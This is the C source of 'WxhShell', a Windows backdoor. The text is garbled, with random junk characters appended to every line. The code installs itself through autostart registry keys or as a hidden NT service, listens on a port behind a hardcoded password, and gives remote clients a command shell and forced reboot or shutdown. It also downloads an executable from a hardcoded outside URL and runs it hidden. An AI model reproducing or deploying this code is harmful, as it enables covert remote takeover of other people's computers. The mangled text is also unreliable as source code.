    ExitThread(0); A$5T3j'  
    } qb! vI3  
    break; MB#%k#z`B  
    } 53L)+\7w  
  // 关机 +|}~6`  
  case 'd': { $Ec;w~e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 34oC285yc  
    if(Boot(SHUTDOWN)) snyx$Qx(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \F> *d!^C  
    else { HsO=%bb  
    closesocket(wsh); m:h]nm  
    ExitThread(0); s8tI_h  
    } 5'o.v^l  
    break; OxD\e5r  
    } !PO(Bfd  
  // 获取shell S"Efp/-  
  case 's': {  hP7nt  
    CmdShell(wsh); <q!{<(:  
    closesocket(wsh); Jjy}m0)#W_  
    ExitThread(0); ^=tyf&"  
    break; 6sPd")%G  
  } S4|)N,#  
  // 退出 -F*j`  
  case 'x': { 5B51^"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >V]> h&`  
    CloseIt(wsh); nZ{~@E2  
    break; MM97$  
    } v!x=fjr<  
  // 离开 o$Jk2 7  
  case 'q': { /O8'8sL5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M0^r!f>O  
    closesocket(wsh); 0]"j,  
    WSACleanup(); ,@P3!|  
    exit(1); ] 03!K E  
    break; >_5D`^  
        } F~{ 4)`  
  } &;y(@e }D  
  } u^{Q|o:=x  
\>\w-ty[(  
  // 提示信息 onjTuZ^h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \,?yj  
} o77HRX  
  } HHX9QebiST  
+oyc9PoXF  
  return; ;B7>/q;g  
} Y(&phv&  
p>MX}^6  
// shell模块句柄 !D  
int CmdShell(SOCKET sock) 'dx4L }d  
{ H\O|Y@uVr  
STARTUPINFO si; 1XSqgr"3  
ZeroMemory(&si,sizeof(si)); |C5i3?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \+5L. Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MxCs0::w  
PROCESS_INFORMATION ProcessInfo; yX8F^iv[  
char cmdline[]="cmd"; YN\ QwV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !{SEm"J^  
  return 0; $CXqkK<6  
} \f+R!  
(Q\w4?ci  
// 自身启动模式 7}nOF{RH]  
int StartFromService(void) /A_ IS`  
{ #M_QSD}&  
typedef struct <,LeFy\zW  
{ 4=1lyw  
  DWORD ExitStatus; u52@{@Ad  
  DWORD PebBaseAddress; bjR&bIA:  
  DWORD AffinityMask; ^goS? p/z  
  DWORD BasePriority; Y}4dW'  
  ULONG UniqueProcessId; |R+=Yk&u  
  ULONG InheritedFromUniqueProcessId; {"@Bf<J#  
}   PROCESS_BASIC_INFORMATION; Uz1u6BF  
1Ce:<.99B  
PROCNTQSIP NtQueryInformationProcess; i~\gEMaO  
M>0~Ek%3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xE+Go  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z muq4-.  
hI?<F^b  
  HANDLE             hProcess; Y\j &84  
  PROCESS_BASIC_INFORMATION pbi; /0(4wZe~?  
XbHcd8N T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bw{W-&$o  
  if(NULL == hInst ) return 0; E6n;_{Se/S  
<@Ew-JU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?lbX.+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gk!v-h9cq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;7qk9rz4  
d *H-l3N  
  if (!NtQueryInformationProcess) return 0; 8o~\L= l  
_msDf2e9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !4 6 ^}3  
  if(!hProcess) return 0; :CH'Bt4<  
{Q4=GrS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J,IOp-  
^up*KQ3u\  
  CloseHandle(hProcess); N["(ZSS   
:s8,i$Ex  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "i#!  
if(hProcess==NULL) return 0; <nIU]}q  
z.{y VQE  
HMODULE hMod; b5yb~;0  
char procName[255]; );=JoRQ{  
unsigned long cbNeeded; }p&aI?-B  
5ptbz<Xv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HI:E&20y  
b"x:IDW qG  
  CloseHandle(hProcess); ujwI4oj"c  
"ebn0<cZ  
if(strstr(procName,"services")) return 1; // 以服务启动 F.AO  
B[y1RI|9  
  return 0; // 注册表启动 K5k,47"  
} ukri7 n*  
@89mj{  
// 主模块 ]QpR>b=[j  
int StartWxhshell(LPSTR lpCmdLine) :?lSa6de  
{ Wlt shZo  
  SOCKET wsl; ^GL0|G=(1  
BOOL val=TRUE; X2o5Hc)l<  
  int port=0; rvOR[T>  
  struct sockaddr_in door; m.lNKIknQ  
V1(eebi|  
  if(wscfg.ws_autoins) Install(); NbgP,-  
i3f/{D/  
port=atoi(lpCmdLine); 6g$+))g  
,m0=zH4+:  
if(port<=0) port=wscfg.ws_port;  {!x-kF_  
v^KJU +  
  WSADATA data; kV-a'"W5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R$PiF1ffj  
 eYS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1no$|n#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =niU6Q}  
  door.sin_family = AF_INET; R|tjvp-[}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~~h9yvW7&  
  door.sin_port = htons(port); a)} ?rzT]  
:%s9<g;-h_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "zm.jNn  
closesocket(wsl); 6"gncB.  
return 1; WukCE  
} s;$ eq);  
!a1jc_  
  if(listen(wsl,2) == INVALID_SOCKET) { ]%NCKOM  
closesocket(wsl); $z` jR*  
return 1; t+66kBN  
} J&h 3,  
  Wxhshell(wsl); k \]@  
  WSACleanup(); Be-gGJG  
=(zk-J<nY  
return 0; `(16_a  
G.c s-f  
} W>s<&Vb  
EEF}Wf$f  
// 以NT服务方式启动 W*VQ"CW{^]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >N44&W  
{ ? BBDk  
DWORD   status = 0; M*@MkN*u&  
  DWORD   specificError = 0xfffffff; e?F r/n  
X/'B*y'=U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?jb7Oq#[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $YL} rM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jb_/c``  
  serviceStatus.dwWin32ExitCode     = 0; !07$aQYcd  
  serviceStatus.dwServiceSpecificExitCode = 0; e3',? 5j  
  serviceStatus.dwCheckPoint       = 0; "BEU%,w  
  serviceStatus.dwWaitHint       = 0; C%G-Ye|@  
W5sVQ`S-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P]INYH  
  if (hServiceStatusHandle==0) return; >YPfk=0f0  
>oLM2VJ  
status = GetLastError(); c-`&e-~XKL  
  if (status!=NO_ERROR) Br-bUoua  
{ J]$%1Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {"s9A&  
    serviceStatus.dwCheckPoint       = 0; Y$Fbi2A4  
    serviceStatus.dwWaitHint       = 0; ]}C#"Xt  
    serviceStatus.dwWin32ExitCode     = status; ./.E=,j  
    serviceStatus.dwServiceSpecificExitCode = specificError; wxvt:= =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T,jxIFrF  
    return; %_} #IS1  
  } e@@kTny(  
5>$*#0%"}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XIf,#9  
  serviceStatus.dwCheckPoint       = 0; $D8KEkW  
  serviceStatus.dwWaitHint       = 0; R%SsHu">  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QZ h|6&yI  
} Z<xSU?J  
.viA+V  
// 处理NT服务事件,比如:启动、停止 $eI[3{}X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FVL0K(V(  
{ |0mh*+i  
switch(fdwControl) 33-=Z9|r  
{ >}_c<`:  
case SERVICE_CONTROL_STOP: :B)w0tVw  
  serviceStatus.dwWin32ExitCode = 0; <XGOcekG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @4hxGk=  
  serviceStatus.dwCheckPoint   = 0; 7;c{lQOj}  
  serviceStatus.dwWaitHint     = 0; ?T?%x(]I  
  { +)Z,%\)Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D3BX[  
  } Sd}fse  
  return; B*K%&w10~  
case SERVICE_CONTROL_PAUSE: /|BzpIfpN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _d)w, ;m#  
  break; C+O`3wPZp  
case SERVICE_CONTROL_CONTINUE: Mm|HA@W^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rcNM,!dZ  
  break; ^!E;+o' t  
case SERVICE_CONTROL_INTERROGATE: :P;#Y7}Y$  
  break; 21G] d  
}; W:hR8 1ci  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E$*I.i_m  
} &<k )W  
F0]= z-  
// 标准应用程序主函数 E70  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NAHQ:$  
{ Xs*~ [k'  
Mx0c # d.  
// 获取操作系统版本 7ugmZO}lL  
OsIsNt=GetOsVer(); b&V=X{V4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B% BO  
kRZ(  
  // 从命令行安装 !X*L<)=nh  
  if(strpbrk(lpCmdLine,"iI")) Install(); rDm>Rm=  
cb|`)"<HN  
  // 下载执行文件 wf<uG|90  
if(wscfg.ws_downexe) { i8u9~F   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S &cH1QZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); .|x0du|  
} b< Pjmb+  
sRt|G  
if(!OsIsNt) { P4Wd=Xoz6  
// 如果时win9x,隐藏进程并且设置为注册表启动 (47jop0RDQ  
HideProc(); jAN(r>zVL  
StartWxhshell(lpCmdLine); 80l(,0`,  
} 1b* dC;<  
else !W n'Ae9  
  if(StartFromService()) }me]?en_Ra  
  // 以服务方式启动 irgjq/&d  
  StartServiceCtrlDispatcher(DispatchTable); Z/:( *FC  
else !(l,+@j  
  // 普通方式启动 ojtcKw  
  StartWxhshell(lpCmdLine); ?AYI   
k:`^KtBMl  
return 0; /8J2,8vZ  
} SJIJV6}H  
$(#o)r>_R  
T|ZT&x$z  
||9f@9  
=========================================== &=@ R,  
(#\3XBG  
5j,)}AYO  
.J&~u0g  
",Ek| z  
 //K]zu  
" !Z<Z"R/  
w[:5uo(  
#include <stdio.h> ra$_#HY  
#include <string.h> u\s mQhQGE  
#include <windows.h> [sACPn$f  
#include <winsock2.h> {l\v J#r:  
#include <winsvc.h> kd!f/'E!  
#include <urlmon.h> NM[w=  
7o0e j#  
#pragma comment (lib, "Ws2_32.lib") 5o rA#B  
#pragma comment (lib, "urlmon.lib") izmL8U ?t  
+ +D(P=4hi  
#define MAX_USER   100 // 最大客户端连接数 T-f+<Cxf  
#define BUF_SOCK   200 // sock buffer tH17Z  
#define KEY_BUFF   255 // 输入 buffer .:l78>f  
kZPj{^c:  
#define REBOOT     0   // 重启 dpGaI  
#define SHUTDOWN   1   // 关机 Hagj^8  
?8YHz  
#define DEF_PORT   5000 // 监听端口 c\]h YKA  
89+m?H]K  
#define REG_LEN     16   // 注册表键长度 9FH=Jp  
#define SVC_LEN     80   // NT服务名长度 93[`1_q7\  
LOR$d^l  
// 从dll定义API ^Q2K0'm5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?HZ+fS ,-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :%!=Ej.J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )k0bP1oGS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /HI#8  
SYa!IL-B  
// wxhshell配置信息 2R:['QT  
struct WSCFG { _EjS(.e/=  
  int ws_port;         // 监听端口 /`:5#O  
  char ws_passstr[REG_LEN]; // 口令 O:p~L`o>>  
  int ws_autoins;       // 安装标记, 1=yes 0=no AkT_ZU>  
  char ws_regname[REG_LEN]; // 注册表键名 P0}uTee  
  char ws_svcname[REG_LEN]; // 服务名 <bIAq8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k. px  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z~muQ c?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *Fp )/Ih  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tGv4 S\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,i,f1XJ|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /of,4aaK7  
X(g<rz1J]  
};  _U#ue  
?6tuo:gP  
// default Wxhshell configuration j~Rh_\>Q  
struct WSCFG wscfg={DEF_PORT, 6i{W=$ RQ  
    "xuhuanlingzhe", aHwrFkn  
    1, Ms^,]Q1{  
    "Wxhshell",  yZdM4`  
    "Wxhshell", HO & #Lv  
            "WxhShell Service", :+!hR4Z~\;  
    "Wrsky Windows CmdShell Service", CO 5?UgA  
    "Please Input Your Password: ", \T<?=A  
  1, jc)D*Cf  
  "http://www.wrsky.com/wxhshell.exe", Z</$~ T  
  "Wxhshell.exe" \u",bMQF  
    }; vF1] L]z:?  
0m51nw~B  
// 消息定义模块 tw\/1wa.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~(4cnD)BO  
char *msg_ws_prompt="\n\r? for help\n\r#>";  mEhVc!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xjv?Z"X  
char *msg_ws_ext="\n\rExit."; Rz*%(2Vz  
char *msg_ws_end="\n\rQuit."; ML Id3#Q  
char *msg_ws_boot="\n\rReboot..."; E]_sl/`{od  
char *msg_ws_poff="\n\rShutdown...";  5Lm ?  
char *msg_ws_down="\n\rSave to "; >|uZIcs 6  
pkBmAJb@  
char *msg_ws_err="\n\rErr!"; a?\ Au  
char *msg_ws_ok="\n\rOK!"; V4ayewVX  
Gi Zy C  
char ExeFile[MAX_PATH]; +r4^oT[-  
int nUser = 0; GZ*cV3Y`&  
HANDLE handles[MAX_USER]; Q6"r^w Wx  
int OsIsNt; F9-xp7 T  
8Qek![3^  
SERVICE_STATUS       serviceStatus; f>l}y->-Ug  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^EM##Ss_  
k((_~<$2K  
// 函数声明 v:s~Y  
int Install(void); [ V/*{Z  
int Uninstall(void); b.;F)(  
int DownloadFile(char *sURL, SOCKET wsh); ks 3<zW(  
int Boot(int flag); mi<V(M~p  
void HideProc(void); b^6Ooc/-k  
int GetOsVer(void); V mKMj'  
int Wxhshell(SOCKET wsl); Hco [p+  
void TalkWithClient(void *cs); M(I 2M  
int CmdShell(SOCKET sock); 3 LoB-4u?  
int StartFromService(void); W}a&L  
int StartWxhshell(LPSTR lpCmdLine); ndW? ?wiM  
z9'ME   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |;Jcf3e(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Rf2;O<  
'd0]`2tVg4  
// 数据结构和表定义 3QU<vdtr  
SERVICE_TABLE_ENTRY DispatchTable[] = O62H4oT  
{ V. \do"m  
{wscfg.ws_svcname, NTServiceMain}, ?5jkb  
{NULL, NULL} OpUC98p?@  
}; trtI^^/%  
|brl<*:  
// 自我安装 tE=P9 \4  
int Install(void) 6\/C]![%  
{ 1i#M(u_  
  char svExeFile[MAX_PATH]; m7g; psg  
  HKEY key; E3;[*ve  
  strcpy(svExeFile,ExeFile); wM_k D  
U]d{hY."  
// 如果是win9x系统,修改注册表设为自启动 LF{d'jJ&K  
if(!OsIsNt) { NFU 5+X-c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LIirOf~e;!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qmv%N  
  RegCloseKey(key); 9.D'!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YYZE-{ %  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cZ%weQa#N)  
  RegCloseKey(key); *d?,i -Q.+  
  return 0; *siS4RX2  
    } |*i0h`a  
  } 7`|$uIM`  
} $Rd74;edn  
else { *|a_(bQ4@  
yA \C3r'  
// 如果是NT以上系统,安装为系统服务 a 0Hzf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pRc@0^G  
if (schSCManager!=0) $IUT5Gia`  
{ yzgDdAM  
  SC_HANDLE schService = CreateService O-}{%)[ F  
  ( d7N}-nsB  
  schSCManager, b P4R  
  wscfg.ws_svcname, ]k " j  
  wscfg.ws_svcdisp, 9ZeTS~i  
  SERVICE_ALL_ACCESS, ~X*)gS-=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ` SZ^~O  
  SERVICE_AUTO_START, jf~/x>Q  
  SERVICE_ERROR_NORMAL, E+]gC  
  svExeFile, Iyz};7yVI  
  NULL, iRBUX`0  
  NULL, ^CDQ75tR  
  NULL, T B1E1  
  NULL, Gt2NUGU  
  NULL Qf6Vj,~N  
  ); CAX|[  
  if (schService!=0) CES^ c-. k  
  { 7=aF-;X3jj  
  CloseServiceHandle(schService); S XIo  
  CloseServiceHandle(schSCManager); XjuAVNY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [wj&.I{^s  
  strcat(svExeFile,wscfg.ws_svcname); 5BN!uUkm+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8^CL:8lI^\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y2"X;`<  
  RegCloseKey(key); LIT{rR#8  
  return 0; Gp6|M2Vu_5  
    } :1PT`:Y  
  } 1I<D `H%  
  CloseServiceHandle(schSCManager); D[-V1K&g  
} 7D@O:yO  
} >Ke4lO"  
:{E;*v_!v  
return 1; ?MHVkGD  
} `p|{(g'  
5<0&y3  
// 自我卸载 <=W;z=$!Bb  
int Uninstall(void) T&H[JQ/h  
{ =EA*h_"q9  
  HKEY key; W`*S?QGzl@  
,JYvfCA  
if(!OsIsNt) { 4@&8jZ)a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'j 'bhG  
  RegDeleteValue(key,wscfg.ws_regname);  {F+7> X  
  RegCloseKey(key); {r?O>KDQf(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jSsbLa@  
  RegDeleteValue(key,wscfg.ws_regname); :,h47'0A  
  RegCloseKey(key); PmZ-H>  
  return 0; y)0r%=  
  } vUk <z*  
} 5A g 4o  
} 7q&Ru|T33  
else { .z^ePZ|mV  
zYvf}L&]h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uf}s6#   
if (schSCManager!=0) U3}r.9/  
{ u]lf~EE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R4.$9_ ui  
  if (schService!=0) OlL FuVR  
  { ,B_Nz}\8  
  if(DeleteService(schService)!=0) { (j@3=-%6G  
  CloseServiceHandle(schService); 0 XxU1w8\V  
  CloseServiceHandle(schSCManager); PHU#$LG  
  return 0; bS=aFl#  
  } ] lE6:^V  
  CloseServiceHandle(schService); 3xj ?}o  
  } JL5 )  
  CloseServiceHandle(schSCManager); C_mPw  
} a/A$ MXZ_  
} v9QR,b` n  
pTT7#b(t  
return 1; 9+k7x,  
} %JF.m$-  
!B5 }`*1D  
// 从指定url下载文件 kTZ`RW&0  
int DownloadFile(char *sURL, SOCKET wsh) ~>2@55wElp  
{ !C]0l  
  HRESULT hr; Cbv$O o*  
char seps[]= "/"; }pxMO? h$  
char *token; e<2?O  
char *file; b+bgGLo  
char myURL[MAX_PATH]; 3WZdP[o!  
char myFILE[MAX_PATH]; ZV=O oL t,  
1$2'N~`#U  
strcpy(myURL,sURL); dtD)VNkBZ  
  token=strtok(myURL,seps); e"Kg/*Ji1  
  while(token!=NULL) Y3KKskhLx  
  { .aTu]i3l_  
    file=token; E&ou(Q={  
  token=strtok(NULL,seps); XUTI0  
  } DC4O@"  
_+7 3Y'  
GetCurrentDirectory(MAX_PATH,myFILE); Y7g^ ?6  
strcat(myFILE, "\\"); gmtp/?>e  
strcat(myFILE, file); Jn!-Wa,  
  send(wsh,myFILE,strlen(myFILE),0); f86h"#4  
send(wsh,"...",3,0); COvcR.*0F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TJjcX?:(  
  if(hr==S_OK) +0) s {?  
return 0; /R\]tl#2j  
else nQbF~   
return 1; "5:^aC]  
b{q-o <Q  
} v0W w~4|],  
fl%X>\i/7  
// 系统电源模块 {6d)|';%  
int Boot(int flag) vcm66J.14  
{ r1dP9MT\8  
  HANDLE hToken; pD;'uEFBQ  
  TOKEN_PRIVILEGES tkp; AT*J '37  
3Run.Gv\  
  if(OsIsNt) { V/xGk9L~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eFJ .)Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *q**,_?;  
    tkp.PrivilegeCount = 1; k<xPg5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [HNWM/ff7+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =qG%h5]n  
if(flag==REBOOT) { 7:iTx;,v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _gDEIoBp  
  return 0; `P/7Mf  
} |Rk9W  
else { 9C9>V]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3Ov? kWFO  
  return 0; Ne>yFl"u  
} !Q(xA,p  
  } 6_xPk`m  
  else { JAEn 72  
if(flag==REBOOT) { Y.FqWJP=p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oTS/z\C"<u  
  return 0; KA^r,Iw  
} 'VVEd[  
else { Am>^{qh9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rZ[}vU/H`  
  return 0; zX=K2tH  
} .%Pt[VQ  
} 5MU-Eu|*>  
dZ]['y%  
return 1; cPu<:<F[  
} 0i%r+_E_  
SbrKNADH%  
// win9x进程隐藏模块 9*`(*>S  
void HideProc(void) vxN,oa{hf  
{ p@`]9tLP(K  
Zw4z`x1f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~\ uI&S5  
  if ( hKernel != NULL ) R1A|g =kF  
  { z''ITX)oG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $"#2hVO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8nKZ   
    FreeLibrary(hKernel); z _A]mJ  
  } 04npY+1 8%  
-l)u`f^n|  
return; Q:rQ;/b0/  
} M^C|svm  
b# v+_7  
// 获取操作系统版本 .lbo\v}2W  
int GetOsVer(void) y+jOk6)W75  
{ i"4&UJu1;  
  OSVERSIONINFO winfo; CSu}_$wC#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n*yVfI  
  GetVersionEx(&winfo); SLGo/I*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mEh([ZnY  
  return 1; IhRWa|{I  
  else <d`ksZ+  
  return 0; (j>a?dKDS  
} XXwe/>J  
mT:Z!sS  
// 客户端句柄模块 TAd~#jB9  
int Wxhshell(SOCKET wsl) <4{Jm8zJ  
{ uC2-T5n'  
  SOCKET wsh; 108cf~2&  
  struct sockaddr_in client; Qf=+%-$Y  
  DWORD myID; on0MhW  
r0xmDJ@y  
  while(nUser<MAX_USER) ]; CTr0  
{ C~o\Q# *j  
  int nSize=sizeof(client); 6 +2M$3_U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eG&3E`[  
  if(wsh==INVALID_SOCKET) return 1; v%|S)^c?:  
VyF|d? b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lPBWpHX  
if(handles[nUser]==0) #.KVT#%~{  
  closesocket(wsh); %qI.Qw$  
else sfo+B$4|  
  nUser++; TAE@KSPvo  
  } _/\U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8k.<xWDU  
f[wA ]&  
  return 0; |L}1@0i  
} )0\"8}!  
|``rSEXYs  
// 关闭 socket L9"yQD^R7?  
void CloseIt(SOCKET wsh) 'Edm /+  
{ :b~5nftr  
closesocket(wsh); wR(>' ?  
nUser--; z\F#td{r  
ExitThread(0); $F#eD 0|  
} #uc9eh}CWO  
26K sP .-  
// 客户端请求句柄 |mS-<e8LY4  
void TalkWithClient(void *cs) gt>k]0  
{ AJJa<c+j  
P #PRzt  
  SOCKET wsh=(SOCKET)cs; 7kT&}`g.  
  char pwd[SVC_LEN]; G*y! Q  
  char cmd[KEY_BUFF]; g]mR;T3  
char chr[1]; rYn)E=FG/  
int i,j; 8mh@C6U  
C)z?-f  
  while (nUser < MAX_USER) { J^y}3ON  
-u nK;  
if(wscfg.ws_passstr) { U)sw IisE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nD5+&M0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \GP0FdpV  
  //ZeroMemory(pwd,KEY_BUFF); >;NiG)Z  
      i=0; @ =XJ<  
  while(i<SVC_LEN) { E&_q"jJRi  
?cvV~&$gc  
  // 设置超时 r`OC5IoQ  
  fd_set FdRead; ~c\iBk  
  struct timeval TimeOut; 3!*qB-d  
  FD_ZERO(&FdRead); L8{4>,  
  FD_SET(wsh,&FdRead); .Xcf *$.;s  
  TimeOut.tv_sec=8; RF|r@/S  
  TimeOut.tv_usec=0; %s;=H)8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wV{jJyRl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;i>(r;ZM  
@?/>$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * ujJpJZ2  
  pwd=chr[0]; ]fdxpqz  
  if(chr[0]==0xd || chr[0]==0xa) { 25H=RTw  
  pwd=0; CU+H`-+"J  
  break; tZz *O%  
  } %8hx3N8>  
  i++; PJn|  
    } eelkK,4  
c`agrS:P  
  // 如果是非法用户,关闭 socket b+tm[@|,v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4R&e5!  
} |e+r|i]  
0/4"Jh$t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "">{8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i[O{ M`Z%  
o ?`LZd:{  
while(1) { j FH wu*  
x T{s%wE  
  ZeroMemory(cmd,KEY_BUFF); z0-[ RGg  
!;U;5e=0  
      // 自动支持客户端 telnet标准   87p tab@  
  j=0; )TtYm3,  
  while(j<KEY_BUFF) {   B'QcD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PZYVLUw `  
  cmd[j]=chr[0]; i$jzn ga  
  if(chr[0]==0xa || chr[0]==0xd) { 'S'Z-7h>0  
  cmd[j]=0; #J`M R05  
  break; @;b @O _  
  } 9lR-  
  j++; A2p]BW&  
    } ?C`&*+  
E06)&tF  
  // 下载文件 UPGS/Xs]1  
  if(strstr(cmd,"http://")) { s)-O{5;U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pkEx.R)  
  if(DownloadFile(cmd,wsh)) Y$<p_X,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QnH;+k ln  
  else 0wpGIT!2  
